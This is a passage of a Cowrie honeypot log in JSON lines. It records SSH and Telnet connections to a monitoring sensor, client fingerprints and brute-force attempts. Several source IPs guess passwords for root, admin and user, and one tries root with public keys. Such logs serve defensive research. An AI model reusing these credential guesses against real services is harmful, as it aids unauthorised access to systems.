9","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:56.287218Z","src_ip":"79.117.24.180","session":"3394ab5b4591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"haslo123","message":"login attempt [root/haslo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:56.761829Z","src_ip":"79.117.24.180","session":"3394ab5b4591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:57.876096Z","src_ip":"79.117.24.180","session":"3394ab5b4591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.379396438598633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:58.173274Z","src_ip":"152.42.224.71","session":"adf8ee73de66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":33211,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd6403ba3811","protocol":"ssh","message":"New connection: 2.57.121.112:33211 (10.17.0.5:22) [session: fd6403ba3811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:00.671502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:00.676057Z","src_ip":"2.57.121.112","session":"fd6403ba3811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:00.777205Z","src_ip":"2.57.121.112","session":"fd6403ba3811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alvarado","message":"login attempt [admin/alvarado] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:01.257939Z","src_ip":"2.57.121.112","session":"fd6403ba3811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alternative","message":"login attempt [admin/alternative] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:02.362925Z","src_ip":"2.57.121.112","session":"fd6403ba3811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"already","message":"login attempt [admin/already] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:03.468982Z","src_ip":"2.57.121.112","session":"fd6403ba3811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56234,"dst_ip":"10.17.0.5","dst_port":23,"session":"a83bfd1c7bbb","protocol":"telnet","message":"New connection: 152.42.224.71:56234 (10.17.0.5:23) [session: a83bfd1c7bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:03.851754Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alphonse","message":"login attempt [admin/alphonse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:04.573977Z","src_ip":"2.57.121.112","session":"fd6403ba3811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alona","message":"login attempt [admin/alona] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:05.679263Z","src_ip":"2.57.121.112","session":"fd6403ba3811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:06.787664Z","src_ip":"2.57.121.112","session":"fd6403ba3811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":50284,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc2d2802bcb3","protocol":"ssh","message":"New connection: 2.57.121.25:50284 (10.17.0.5:22) [session: dc2d2802bcb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:07.023575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:07.028953Z","src_ip":"2.57.121.25","session":"dc2d2802bcb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:07.123790Z","src_ip":"2.57.121.25","session":"dc2d2802bcb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58346,"dst_ip":"10.17.0.5","dst_port":23,"session":"386d2771e627","protocol":"telnet","message":"New connection: 152.42.224.71:58346 (10.17.0.5:23) [session: 386d2771e627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:07.513175Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"221086","message":"login attempt [user/221086] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:07.580620Z","src_ip":"2.57.121.25","session":"dc2d2802bcb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0017614364624,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:08.322033Z","src_ip":"152.42.224.71","session":"f79eecb2208e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"22101993","message":"login attempt [user/22101993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:08.678275Z","src_ip":"2.57.121.25","session":"dc2d2802bcb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22091993","message":"login attempt [user/22091993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:09.776469Z","src_ip":"2.57.121.25","session":"dc2d2802bcb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22091980","message":"login attempt [user/22091980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:10.874811Z","src_ip":"2.57.121.25","session":"dc2d2802bcb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58356,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec152a1f81a2","protocol":"telnet","message":"New connection: 152.42.224.71:58356 (10.17.0.5:23) [session: ec152a1f81a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:11.331192Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"22091979","message":"login attempt [user/22091979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:11.972521Z","src_ip":"2.57.121.25","session":"dc2d2802bcb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:13.071265Z","src_ip":"2.57.121.25","session":"dc2d2802bcb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.52138352394104,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:18.117119Z","src_ip":"152.42.224.71","session":"dfeba7ee3ee8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.024054527282715,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:18.652943Z","src_ip":"152.42.224.71","session":"813038a3bb93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.428911924362183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:20.887532Z","src_ip":"152.42.224.71","session":"f0655665e25b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.82675623893738,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:21.586450Z","src_ip":"152.42.224.71","session":"241e37265179","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49896,"dst_ip":"10.17.0.5","dst_port":23,"session":"e56f057d56ba","protocol":"telnet","message":"New connection: 152.42.224.71:49896 (10.17.0.5:23) [session: e56f057d56ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:23.641924Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":48514,"dst_ip":"10.17.0.5","dst_port":22,"session":"628b5097376c","protocol":"ssh","message":"New connection: 43.156.63.254:48514 (10.17.0.5:22) [session: 628b5097376c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:25.479413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:25.484956Z","src_ip":"43.156.63.254","session":"628b5097376c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:25.724008Z","src_ip":"43.156.63.254","session":"628b5097376c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"peter","message":"login attempt [root/peter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:26.710453Z","src_ip":"43.156.63.254","session":"628b5097376c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35036,"dst_ip":"10.17.0.5","dst_port":23,"session":"57dd523a02fd","protocol":"telnet","message":"New connection: 152.42.224.71:35036 (10.17.0.5:23) [session: 57dd523a02fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:26.734346Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:27.952240Z","src_ip":"43.156.63.254","session":"628b5097376c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.95.20.168","src_port":46310,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed05e9319471","protocol":"ssh","message":"New connection: 23.95.20.168:46310 (10.17.0.5:22) [session: ed05e9319471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:29.220248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:29.224836Z","src_ip":"23.95.20.168","session":"ed05e9319471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:29.312901Z","src_ip":"23.95.20.168","session":"ed05e9319471","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:93:fa:59:0f:a3:c1:00:55:5b:7b:75:70:05:27:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/VfwXBLuMA9ZOLOGVFsJok6F+fuQ7x+8Tu/IZpeNPwttzAM495OH4q6tBouSIoQv5bMEdsR/blaYC6FkcERPJQCv3KA3vXDrY+/6HhzRdJiFbC/NxE3EjUk0CL1etrwM0JGv5cK4+WYxfjLrhOEKIweQKJj8c4Iz8FfT25LSzV7svci+BdzcER1T47GXLyhJzvH+2WpH76UDpBfPf8kM2fS66m/8BvVMr+i4LOyTy39266aeduiY++eoyq6OXSksCKdMCwLydsUxW+N8diWEzKvvguTM2PJuuP8ME7JnKygtFq7NB8dTA+jB0qCuAVpsgN18aQpm43EnPWexcYrzN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:93:fa:59:0f:a3:c1:00:55:5b:7b:75:70:05:27:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:29.727967Z","src_ip":"23.95.20.168","session":"ed05e9319471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:93:fa:59:0f:a3:c1:00:55:5b:7b:75:70:05:27:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/VfwXBLuMA9ZOLOGVFsJok6F+fuQ7x+8Tu/IZpeNPwttzAM495OH4q6tBouSIoQv5bMEdsR/blaYC6FkcERPJQCv3KA3vXDrY+/6HhzRdJiFbC/NxE3EjUk0CL1etrwM0JGv5cK4+WYxfjLrhOEKIweQKJj8c4Iz8FfT25LSzV7svci+BdzcER1T47GXLyhJzvH+2WpH76UDpBfPf8kM2fS66m/8BvVMr+i4LOyTy39266aeduiY++eoyq6OXSksCKdMCwLydsUxW+N8diWEzKvvguTM2PJuuP8ME7JnKygtFq7NB8dTA+jB0qCuAVpsgN18aQpm43EnPWexcYrzN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:29.731978Z","src_ip":"23.95.20.168","session":"ed05e9319471","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:cd:2c:45:40:6c:47:a6:b6:8f:3d:38:8e:a0:23:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEmycYMEFK0sKfvo9QsZeYg8Hj2RsaJ2mEedtnwZqC0T","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f4:cd:2c:45:40:6c:47:a6:b6:8f:3d:38:8e:a0:23:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:29.819603Z","src_ip":"23.95.20.168","session":"ed05e9319471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:cd:2c:45:40:6c:47:a6:b6:8f:3d:38:8e:a0:23:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEmycYMEFK0sKfvo9QsZeYg8Hj2RsaJ2mEedtnwZqC0T","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:29.823775Z","src_ip":"23.95.20.168","session":"ed05e9319471","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:30:31:45:b4:a7:e6:62:37:d8:26:28:39:ff:a0:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4nw4t6SbgVYVs6JGPyHtqaJg+S5e7UzlCuptlCH4iFHjSqOcUIDUQkqrcD6VaPHMTgAAz5/Jfcfj6jSlb5sfVEwuy/NaIrFWGuJHZCywv9ME5cfiXKOXX58Yj935xSjCz10TVr2ia7ruJFOPqDBfmNju4wYzV2XvaIXBq5ccTFh3YXv1W2UiXrrq4Thzg7t4tMtskncT1Ld7Ehir8DRk12BFnEIArQG1oOaYQ06uR114ekexcF59Iky1OYOuriHMhGIx1yfc2CNXO/jOR73QGOJ8yzyGUgppcFpAmggOQQDHODaJ0h+gmVVQN85FvV02LwM/GkRl5/aokpKg3KmUJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:30:31:45:b4:a7:e6:62:37:d8:26:28:39:ff:a0:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:29.914781Z","src_ip":"23.95.20.168","session":"ed05e9319471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:30:31:45:b4:a7:e6:62:37:d8:26:28:39:ff:a0:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4nw4t6SbgVYVs6JGPyHtqaJg+S5e7UzlCuptlCH4iFHjSqOcUIDUQkqrcD6VaPHMTgAAz5/Jfcfj6jSlb5sfVEwuy/NaIrFWGuJHZCywv9ME5cfiXKOXX58Yj935xSjCz10TVr2ia7ruJFOPqDBfmNju4wYzV2XvaIXBq5ccTFh3YXv1W2UiXrrq4Thzg7t4tMtskncT1Ld7Ehir8DRk12BFnEIArQG1oOaYQ06uR114ekexcF59Iky1OYOuriHMhGIx1yfc2CNXO/jOR73QGOJ8yzyGUgppcFpAmggOQQDHODaJ0h+gmVVQN85FvV02LwM/GkRl5/aokpKg3KmUJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:29.918483Z","src_ip":"23.95.20.168","session":"ed05e9319471","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:67:60:1c:17:b0:fb:83:28:0d:db:0c:e5:8c:de:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKVN7fmfpcBwLn5aqfJQ38TNyeQ6UgTW9bS2W6Kb3vkU8RRAsdZWUnZygtvulfT/8Zo9IEwD2AkrglwbxcAYBnbhwQgMje9PYimb3C1Q4RfeYw8PSuiauRhMfpl+Cg1GQCgWhhRBJytLVas9uncqQ1C48n4Gd+2msCcsNvUZflCEAmYfx06vIlo5CcxaifcOjRWbOXt/KLxeMOUX0twVuKV+vaUlz1LI57/cJsDUIk6IL3RWM2l5eneuYLSKjHMn9m5dZA/2z79VjqL30apllpcXtf+epDBu59PA8caRfXhzbtLK1QFUSCucqD9FUlWFL/Xz00GAoln+LBE8GfnJjPM1S3U82uMnvx4oe/dOIGPRUtbSKh2ohDVkwdyB4N8TPWiz0prevskgo2v6R9wmEDDmc6w4kgsjnD2bCKiaQpJfNiwNFUR0oaDGlNn9xSXoZf0hJChbc8EtkOzFYiu3LknDImPyvPs6/z0roPPPjH8/+odTbsg955uyVvvETlk3KP8OO8GTtg4mbO+sOqiSGzycLRQvv/xYZOT2LTlafoj8IMXo0y1zQE3dpWJxZpZe22PqaB9Wglwp6Je7Ikqf8VM5jQc0NYO1Ei6TODAG+UIP+udb8Xg0zxSzUqzfKGg+9camDmJH1xaSOomgp/OFJyioOHOPnxU7XHacd97JaA3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:67:60:1c:17:b0:fb:83:28:0d:db:0c:e5:8c:de:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:30.014692Z","src_ip":"23.95.20.168","session":"ed05e9319471","protocol":"ssh"}
